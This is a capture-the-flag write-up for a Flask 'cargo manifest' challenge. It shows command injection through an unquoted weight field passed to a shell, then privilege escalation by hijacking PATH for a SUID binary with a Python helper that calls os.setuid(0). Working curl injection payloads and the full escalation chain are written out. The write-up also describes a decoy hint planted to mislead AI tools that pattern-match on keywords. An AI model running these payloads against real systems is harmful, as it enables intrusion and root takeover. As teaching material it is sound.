gulltown

command-injectionsuidpath-hijackpythonflask

A cargo manifest form, an unquoted shell variable, and a SUID binary that trusts PATH.

Flask web app on one port. A subtle injection in the weight parameter, not the one you’d guess first. A custom SUID binary that calls a helper by relative path. And a “Failed Attempts” section that explains exactly why bash drops SUID but Python doesn’t.

Spoilers ahead — partial flags, no credentials, no IPs.


The setup

One port open: a Python/Werkzeug application serving a cargo manifest form for a fictional ferry service. Three fields — cargo description, weight, and a manifest ID. A note on the page from the “Dockmaster” hints that the weight calculation logic is worth examining.

There’s also a DECOY_HINT in the app source pointing at “special manifest IDs” and SQL injection. There’s no database. It’s a deliberate red herring built into the challenge to mislead tools that pattern-match on keywords instead of reading the actual data flow. More on that at the end.


Shell as ferry — command injection in the weight field

The /calculate route builds a shell command like this:

cmd = f"/opt/gulltown/weight-calc.sh '{cargo_desc}' {weight}"
subprocess.run(cmd, shell=True, ...)

cargo_desc is single-quoted — not perfect, but it resists basic injection. weight is completely bare. Dropped straight into the string with shell=True.

Semicolons, pipes, $() — all interpreted. The cargo description field wasn’t the bug. The weight field was.

curl -sX POST http://<host>:5000/calculate \
  --data-urlencode 'cargo_desc=test' \
  --data-urlencode 'weight=100; id' \
  --data-urlencode 'manifest_id=1'
# → uid=1001(ferry) gid=1001(ferry)

Execution as ferry. User flag:

--data-urlencode 'weight=100; cat /home/ferry/user.txt'

User flag — r00t{c0mm4nd_1nj3...} ✓


Priv: ferry → root

Enumeration

SUID scan through the injection:

--data-urlencode 'weight=100; find / -perm -4000 -type f 2>/dev/null'

The interesting result: /usr/local/bin/manifest-stamp — custom, root-owned, SUID set. strings on it shows one key line: execvp("stamp-helper", ...). No leading slash.

The binary calls its helper by relative path, which means it resolves using PATH.

Finding the writable directory

The legitimate stamp-helper lives at /opt/gulltown/bin/stamp-helper. Directory permissions:

drwxrwxr-x  root  ferry  /opt/gulltown/bin/

Group-writable by ferry. I can replace the binary there, control PATH, and manifest-stamp will execute my version as root.

Why a shell script doesn’t work here

First instinct: write a shell script that reads /root/root.txt.

#!/bin/sh
cat /root/root.txt

This fails. Both /bin/sh and /bin/bash have a security feature where they detect if effective UID differs from real UID on startup and immediately call setuid(getuid()) to drop back. So manifest-stamp runs as root and passes euid=0 to the child — but bash resets it to ferry before the script even runs.

Python doesn’t drop SUID

Python’s interpreter has no such guard. When a SUID binary execvps a Python script, the interpreter inherits euid=0. Calling os.setuid(0) then permanently locks in root for the rest of the process.

I backed up the original, wrote the replacement, made it executable, and ran manifest-stamp with the writable directory first in PATH:

# Back up
--data-urlencode 'weight=100; cp /opt/gulltown/bin/stamp-helper /opt/gulltown/bin/stamp-helper.bak'

# Write Python payload
--data-urlencode 'weight=100; printf "#!/usr/bin/env python3\nimport os\nos.setuid(0)\nprint(open(\"/root/root.txt\").read())" > /opt/gulltown/bin/stamp-helper'

# Make executable
--data-urlencode 'weight=100; chmod +x /opt/gulltown/bin/stamp-helper'

# Trigger with our directory first in PATH
--data-urlencode 'weight=100; PATH=/opt/gulltown/bin:$PATH manifest-stamp test-id'

Root flag — r00t{p4th_h1j4ck...} ✓

The chain: manifest-stamp (SUID root) → execvp("stamp-helper") → walks PATH → finds my Python script → inherits euid=0 → os.setuid(0) → reads /root/root.txt.


Beyond root: the AI decoy

The DECOY_HINT variable in the source pointed at SQL injection via manifest IDs. There was no database. The entire application ran on shell scripts and flat files.

The decoy was placed there deliberately to mislead tools that pattern-match on terms like “SQL” or “special ID” without tracing actual data flow. The real hint was the Dockmaster’s note pointing at the weight field — and reading the three lines of code that built the shell command confirmed it immediately.

The lesson holds for any web app: follow the data, not the comments.


Why bash drops SUID but Python doesn’t

Worth keeping in mind for any future SUID path hijack:

Interpreter Drops SUID on startup? Why
/bin/bash Yes Calls setuid(getuid()) if euid != ruid
/bin/sh (dash) Yes Same guard
Python No No automatic privilege drop
Perl No Same — -T taint mode doesn’t drop either
Compiled C Depends Only drops if you write it to

If you control a file that a SUID binary calls via relative execvp, reach for Python or a compiled C stub rather than a shell script.


Takeaways

  • subprocess.run(cmd, shell=True) with unsanitised input is command injection, regardless of what other parameters in the same call look like. Test every field independently.
  • A SUID binary that calls a helper by relative path is vulnerable to PATH hijack whenever any directory in the search path is writable by the current user. Check permissions on each directory, not just the binary itself.
  • Bash and sh intentionally drop SUID privileges. Python, Perl, and compiled binaries do not. When a shell script payload fails silently in a SUID context, check whether the interpreter is dropping the elevation before your code runs.
  • CTF challenges sometimes embed deliberate red herrings in source comments and variable names. Trace the actual data flow before chasing keywords.